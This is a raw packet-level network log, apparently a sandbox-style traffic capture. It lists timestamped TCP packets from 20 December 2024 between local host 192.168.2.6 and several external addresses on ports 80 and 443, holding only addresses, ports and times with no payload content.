Dec 20, 2024 17:43:44.107377052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:44.227473974 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:44.227535009 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:44.227619886 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:44.227679968 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:44.229264021 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:44.273721933 CET	80	49767	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:44.273772955 CET	49767	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:44.348886013 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:44.541724920 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:44.541835070 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:44.541906118 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:44.552498102 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:44.552541018 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:44.829298019 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:44.829348087 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:44.829447031 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:44.829807997 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:44.829821110 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:45.013067007 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.013133049 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.014560938 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.014569998 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.014852047 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.016304970 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.016324997 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.016393900 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.305552959 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:45.305608988 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:45.305685043 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:45.306952000 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:45.306971073 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:45.557961941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558003902 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558017015 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558085918 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558171034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.558171034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.558273077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558284998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558296919 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558315039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.558327913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.558327913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.558530092 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.561014891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.561037064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.561085939 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.679919958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.679953098 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.680588007 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.682800055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.682918072 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.753051996 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.753156900 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.753349066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.757251978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.757354975 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.757433891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.757545948 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.765639067 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.767946959 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.768678904 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.768728018 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.768994093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.769108057 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.777101994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.777159929 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.777249098 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.777376890 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.778244019 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:45.782424927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.782493114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.782519102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.782556057 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.783576012 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.783679962 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.783822060 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.783876896 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.783891916 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.783951998 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:45.783958912 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:45.790776968 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.790949106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.791058064 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.799695969 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.799715042 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.799776077 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.807785034 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.808114052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.808176994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.816298008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.816473007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.816548109 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.824533939 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.824666023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.824721098 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.832674026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.832987070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.833051920 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.874727011 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.874793053 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.898226976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:45.899130106 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:45.899172068 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:45.942065001 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.942281008 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.942492008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.942537069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.944371939 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.944417953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.944442034 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.944494009 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.948095083 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.948265076 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.948318958 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.953372955 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.953389883 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.953434944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.957789898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.957837105 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.957895994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.962235928 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.962333918 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.962389946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.966811895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.966933012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.966989994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.971375942 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.971427917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.971477032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.975918055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.976214886 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.976278067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.980485916 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.980618000 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.980671883 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.985085011 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.985260963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.985312939 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.989639044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.989928007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.989985943 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.994199991 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.994247913 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.994299889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.998832941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.998888969 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:45.998967886 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:45.999032021 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.003458023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.003473043 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.003529072 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.007997990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.008054972 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.008141994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.008182049 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.011847973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.011898994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.011996031 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.012034893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.019418955 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.019438982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.019479990 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:46.019520044 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.019680023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.019788980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.020173073 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.020337105 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.023566961 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.023623943 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.053586960 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:46.053647041 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:46.054898024 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:46.054905891 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:46.055140018 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:46.056967020 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:46.057094097 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:46.057127953 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:46.057199955 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:46.057209969 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:46.134711981 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.134788990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.134825945 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.134861946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.136199951 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.136307001 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.136571884 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.136615038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.138897896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.138942003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.139360905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.139467955 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.141550064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.141563892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.141601086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.141624928 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.144009113 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.144052029 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.144362926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.144480944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.146892071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.146946907 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.147097111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.147165060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.149822950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.149900913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.150201082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.150237083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.152271032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.152317047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.152678013 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.152717113 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.154998064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.155039072 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.155107021 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.155478001 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.157697916 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.157747984 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.157809973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.158215046 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.160409927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.160464048 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.160980940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.161017895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.163160086 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.163214922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.163389921 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.163769007 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.165818930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.165865898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.166121960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.166238070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.168637037 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.168689966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.168808937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.169482946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.171247005 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.171291113 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.171427965 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.171483994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.173929930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.174093962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.174138069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.176603079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.176651955 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.176719904 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.176753998 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.179685116 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.179745913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.180039883 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.180084944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.182054043 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.182101965 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.182285070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.183491945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.184724092 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.184789896 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.185014963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.185050964 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.187439919 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.187478065 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.187503099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.187535048 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.190175056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.190335035 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.190373898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.192831039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.193012953 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.193053961 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.195530891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.195652962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.195693016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.199234009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.199278116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.200609922 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.200649977 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.201607943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.201622009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.201658010 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.327357054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.327374935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.327397108 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.327409029 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.327421904 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.327435970 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.327470064 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.331789970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.331801891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.331813097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.331825972 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.331846952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.331862926 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.336503983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.336517096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.336529016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.336540937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.336555958 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.336569071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.338759899 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.338773012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.338835955 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.343538046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.343549967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.343560934 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.343573093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.343583107 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.343611002 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.348350048 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.348361969 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.348372936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.348385096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.348414898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.348452091 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.352791071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.352802992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.352843046 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.355623007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.355633974 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.355644941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.355657101 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.355665922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.355683088 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.360378027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.360388994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.360400915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.360414982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.360424042 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.360455036 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.364799023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.364811897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.364849091 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.367369890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.367382050 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.367392063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.367418051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.367430925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.368779898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.369159937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.369853973 CET	80	49769	31.41.244.11	192.168.2.6
